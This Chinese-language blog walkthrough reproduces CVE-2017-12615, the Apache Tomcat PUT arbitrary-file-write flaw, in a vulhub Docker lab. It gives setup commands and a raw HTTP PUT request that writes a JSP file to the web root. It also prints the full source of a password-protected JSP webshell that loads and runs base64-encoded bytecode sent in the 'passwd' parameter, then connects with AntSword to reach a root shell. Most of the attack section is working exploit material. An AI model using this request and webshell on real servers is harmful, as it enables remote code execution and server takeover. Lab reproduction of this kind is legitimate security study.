Tomcat8 任意写文件PUT方法 (CVE-2017-12615)

Tomcat 任意写文件PUT方法 (CVE-2017-12615)

文章目录

    • [Tomcat 任意写文件PUT方法 (CVE-2017-12615)](#Tomcat 任意写文件PUT方法 (CVE-2017-12615))
      • [1 在线漏洞解读:](#1 在线漏洞解读:)
      • [2 版本影响](#2 版本影响)
      • [3 环境搭建](#3 环境搭建)
      • [4 漏洞复现](#4 漏洞复现)
        • [4.1 访问](#4.1 访问)
        • [4.2 POC攻击点](#4.2 POC攻击点)
          • [4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。](#4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。)
          • [4.2.2 访问是否通,可以访问到文件](#4.2.2 访问是否通,可以访问到文件)
      • [5 漏洞利用](#5 漏洞利用)
        • [5.1 上传jsp一句话](#5.1 上传jsp一句话)
        • [5.2 kali打开蚁剑:](#5.2 kali打开蚁剑:)
        • [5.3 连接jsp一句话木马,密码为 passwd](#5.3 连接jsp一句话木马,密码为 passwd)
        • [5.4 打开终端,获取root](#5.4 打开终端,获取root)

1 在线漏洞解读:

复制代码
https://vulhub.org/#/environments/tomcat/CVE-2017-12615/

2 版本影响

​ Tomcat version: 8.5.19

3 环境搭建

shell 复制代码
cd /home/kali/vulhub/tomcat/CVE-2017-12615

环境启动:

shell 复制代码
sudo docker-compose up -d

sudo docker ps -a

已启动:访问端口8091

4 漏洞复现

4.1 访问

​ 4.1 访问http://192.168.225.166:8091/看到Tomcat示例页面,发现8.5.19版本后台管理是不允许登录的


4.2 POC攻击点
4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。
复制代码
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell
4.2.2 访问是否通,可以访问到文件

5 漏洞利用

5.1 上传jsp一句话
jsp 复制代码
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
5.2 kali打开蚁剑:
复制代码
┌──(kali💋kali)-[~]
└─$ sudo antsword 
5.3 连接jsp一句话木马,密码为 passwd
5.4 打开终端,获取root
相关推荐
网安蟹佬霸1 小时前
CTF Web方向解题全攻略:从信息收集到getshell(附实战payload与脚本)
android·前端·网络·安全·web安全·网络安全·网安
保密资质顾问说2 小时前
网络安全等级保护与涉密信息系统集成资质的区别及选型分析
运维·网络·经验分享·安全·web安全
SQL-First布道者3 小时前
持久层框架的评价标准:只有一个
java·spring boot·spring·tomcat·mybatis·spring jdbc
网安蟹佬霸3 小时前
Webshell免杀与检测实战:从一句话木马到加密流量
android·安全·web安全·网络安全·黑客·网安·渗透测试·
步行cgn5 小时前
MyBatis 高级映射与延迟加载完全指南
java·tomcat·mybatis
新鲜势力呀5 小时前
Anthropic 网络安全技能实战应用指南
安全·web安全
00后程序员张5 小时前
SSL Pinning 抓包抓不到明文?绕过证书固定的几种方案
网络协议·计算机网络·网络安全·ios·adb·https·udp
数据知道6 小时前
网络安全实战:子域名枚举工具链——Subfinder、Amass 与证书透明度的艺术
安全·web安全·网络安全
云水一下7 小时前
零基础玩转bWAPP靶场(六十五):SQLiteManager XSS
web安全·xss·bwapp·sqlitemanager·cve-2012-5105·bee-box
HackTwoHub8 小时前
开箱即用 AI 渗透测试系统,整合多类AI工具、Web安全、内网攻防、二进制逆向、API测试、流量分析等多个安全领域
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构